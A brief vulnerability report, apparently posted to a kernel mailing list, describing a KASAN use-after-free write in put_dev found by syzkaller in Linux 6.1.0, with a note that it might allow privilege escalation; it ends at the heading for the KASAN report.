Hi, all I found a vulnerability when fuzzing linux kernel by syzkaller. The KASAN reports that use-after-free Write in put_dev. Then I tried to reproduce and got the C source file. I compiled it and executed the binary program, but the kernel crashed as expected. This vulnerability could be used to LPE as UAF, I thought. ## Linux version: 6.1.0 (master commit a4412fdd49dc011bcc2c0d81ac4cab7457092650) ## KASAN report
